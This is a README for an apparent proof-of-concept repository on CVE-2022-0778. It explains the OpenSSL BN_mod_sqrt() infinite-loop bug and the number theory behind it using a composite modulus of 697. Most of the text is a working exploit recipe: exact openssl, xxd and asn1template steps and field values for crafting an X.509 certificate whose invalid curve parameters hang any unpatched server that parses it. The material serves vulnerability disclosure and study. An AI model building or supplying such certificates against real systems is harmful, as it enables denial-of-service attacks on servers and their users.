CVE-2022-0778

The discovered vulnerability triggers an infinite loop in the function BN_mod_sqrt() of OpenSSL while parsing an elliptic curve key. This means that a maliciously crafted X.509 certificate can DoS any unpatched server.

The core of the vulnerability is in the parsing of EC keys with points in compressed format: while parsing this type of keys, OpenSSL will try to expand the compressed point, trying to compute a square root modulo the prime p over which the curve is defined. However, the primality of p is checked nowhere, not even in BN_mod_sqrt() for which it is a requirement; thus, a bug in the implementation will cause an infinite loop due to p not being prime as expected.

中文版说明可以见我的博客OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造

Credits

• Tavis Ormandy for discovering and disclosing the vulnerability
• Drago for publishing the test against BN_mod_sqrt()
• catbro666 for actually crafting an X.509 certificate that makes the server hang
• wllm-rbnt for the useful asn1template tool

How to test

The prerequisite is having installed gcc and a vulnerable version of OpenSSL.

For the bug in BN_mod_sqrt(): compile with gcc -o my_bad_sqrt my_bad_sqrt.c -lcrypto, run ./my_bad_sqrt and watch it hang forever! :D

With a certificate: run openssl x509 -in certs/cert.der.new -inform DER -text -noout on the command line; this also hangs.

Hitting the loop

The function BN_mod_sqrt() implements the Tonelli-Shanks algorithm for finding a modular square root, i.e. given an integer a and a prime number p, returns a value r such that r^2 == a (mod p).

Analyzing the commit that patches the vulnerability we see that the culprit is the loop that finds the least index i for which b^(2^i)==1 (mod p), where b is defined before in the algorithm.

The loop is changed from

i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
    goto end;
while (!BN_is_one(t)) {
    i++;
    if (i == e) {
        ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
        goto end;
    }
    if (!BN_mod_mul(t, t, t, p, ctx))
        goto end;
}

to

for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;
    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

In the second case, there is a for loop limited by the variable e; in the original code however there is only a check for the case i==e inside a while loop.

Since these loops are inside a bigger loop that for each iteration sets the new value of e to the current value of i, we try the following attack strategy:

1. in the first execution of the outer loop, make so that i=1 at the end; for this, we need that b^2=1 (mod p).
2. in this way, during the second execution we will have e=1, and if we can get into the inner loop the i==e check will always fail
3. if we manage to always have t != 1 (mod p), we will then stay in the loop forever

Notice that the first two steps can actually happen in a "normal" execution, i.e. with a prime p. However, if p is composite we can also satisfy the third step!

Some maths

The Tonelli-Shanks algorithm works by writing p - 1 = 2^e * q, with an odd q. This is also the order of the multiplicative group of integers modulo p, and the values e and q will be used many times during the execution; however, if p is not prime, the order of the multiplicative group will not be p-1, and this will help us to get into the infinite loop.

In particular, b is initialized as b = a^q (mod p), meaning that if p was prime, then b would have order some power of 2, which we will then find using the loop.

But if we set p = r * s, the order of the multiplicative group is (r-1)*(s-1) = r*s - r - s + 1 instead of r*s-1. The algorithm uses the q value to obtain an element y of order exactly 2^e; however, when p is not prime, the q value will not have a special meaning for the order, so the element y will not have order a power of two modulo p=r*s.

Since at the end of the first outer loop b is set to b = b*y^(e-i) (mod p), at its second iteration the inner loop will try to find a value i for which b^(2^i) == 1 (mod p), but will fail given that y is no more guaranteed to have order a power of two.

The exploit

The numbers in the exploit are very simple: we take r=17,s=41, which give p=r*s=697. This means that the computed values of e and q will be p-1 = 2^3 * 87.

We then pick a=696, which means that a == -1 (mod p) and also b == -1 (mod p) when initialized. This will satisfy step 1 setting e=1 for the following outer loop.

Then b will be set to an element with order not a power of 2, and the inner loop will be stuck trying to find and i for which b^(2^i)==1 (mod p).

Creating a dangerous certificate

OK, now let's craft a dangerous certicate that contains invalid explicit curve paramters with a base point encoded in compressed form.

This section's files are in the certs folder.

Creating a normal certificate with explicit curve paramters

First, we need to create a ec private key. Because we want a target cert with explicit curve paramters, so the key also should contain explicit curve paramters.

$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed

Then, for convenience, we self-signed a cert, and outputed it as DER format.

$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"

Let's check the cert info. It contains explicit curve parameters as expected.

$ openssl x509 -in cert.der -text -noout -inform DER
...
                Field Type: prime-field
                Prime:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:ff
                A:
                    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
                    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
                    ff:ff:fc
                B:
                    5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
                    bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
                    60:4b
                Generator (compressed):
                    03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
                    40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
                    98:c2:96
                Order:
                    00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
                    ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
                    63:25:51
...

Craft an invalid certificate

Now we need to modify the values of these paramters: Prime, A, B, Generator. They satisfy the equation below

where p is the Prime, a is the paramter A, and b is the parameter B. p, a, b together detemine a curve. Uncompressing a point means calculating the Y coordinate from the corresponding X coordinate.

Obviously, modular square root operation should be used, which will call BN_mod_sqrt().

Based on the work of drago-96, we take p=697, x^3+ax+b=696. And then we just need to choose appropriate a, b, x which satisfy the second equation. We take x=8, a=23, b=0 here.

OK, now we can start to tackle the certificate. Editing the ASN.1 structure manually is really terrible. I used the tool xxd to tranform the cert into hex format, and then edited it with vim. After completing editing, tranformed it back with xxd -r.

$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# edit cert.der.hex
# ...
# complete
$ xxd -r cert.der.hex cert.der.new

I didn't find a tool more convenient. If anyone knows such a tool, please be generous with your comments.

The steps of crafting are roughly as follows:

1. Change the values of Prime、A、B、Generator
   1. Change Prime into 697, i.e. 0x2b9 in hex
   2. Change A into 23, i.e. 0x17 in hex
   3. Change B into 0
   4. Change the X coordinate of Generator into 8, i.e. 0x020008 (or 0x030008) when encoded with compressed format
2. As OpenSSL will check the padding format of ASN1_INTEGER, so the Prime should not contain leading 0-bytes, so we have to change to length of Prime
3. Similarly, OpenSSL will compare the length of Prime with the length of point string, so the length of X coordinate of Generator should be same as Prime. That's why we set Generator as 030008, but not as 0308.
4. Because the ASN.1 structure of cert is nested, all the lengths of external objects should be corrected as well.
5. Note there may be an unwanted trailing new-line charater(0x0a) at the end of file after you running xxd -r. Eliminate it.

Now, let's have a look at the ASN.1 structure of the normal certificate. The parts marked by red line are to be changed.

$ openssl asn1parse -in cert.der -inform DER -i

The lengths before and after modification are listed as follows:

from(dec)	from(hex)	to(dec)	to(hex)
549	225	488	1e8
460	1cc	399	18f
266	10a	205	cd
227	e3	166	a6
215	d7	154	9a
44	2c	13	0d
33 Prime	21	2	02
33 Generator	21	3	03

Using ASN1 templates

Updated on 2020-03-21:

A much easier way is using the tool asn1template written by wllm-rbnt.

Clone the repo:

$ git clone https://github.com/wllm-rbnt/asn1template.git

Generate a DER template from this certificate:

$ ./asn1template/asn1template.pl cert.der > cert.tpl

Then Change the parameters we just memtioned above:

diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000

Convert it back to DER encoded ASN1 with ASN1_generate_nconf(3):

$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der

The output cert_new.der is equivalent to the manually edited version.

So now we have successfully crafted an invalid certificate. Let's see the new ASN.1 structure

$ openssl asn1parse -in cert.der.new -inform DER -i

All the red parts have been modified, and the certificate can be DER-decoded correctly.

Test with the invalid certificate

Now let's attempt to parse the certificate. The process will get into the infinite loop if everything is as expected.

openssl x509 -in cert.der.new -inform DER -text -noout

As is shown, the %CPU of openssl process is 100, and the call stack is inside BN_mod_sqrt().

If malicious attacker sends such a crafted certificate when doing SSL handshaking with the server, the server will get into the infinite loop which causes DoS attack.

Creating a certificate, alternate way

We will try crafting a certificate using the OpenSSL C libcrypto library.

As we have seen, we need to use a curve with non-prime base field and encode points in compressed form, so when parsing we will hit the bug in BN_mod_sqrt().

This can be done by setting y^2 = x^3 + 1*x + 694 (mod 697) as the curve, with (1, 132) as generator; this will call BN_mod_sqrt() with the exact same parameters of my_bad_sqrt.

Running gcc -o my_bad_group my_bad_group.c -lcrypto && ./my_bad_group will generate the my_bad_group.der file which contains the ECparams in DER format.

Trying to parse those params with OpenSSL will result in the infinite loop: openssl ecparam -in my_bad_group.der -inform der.

... WIP ...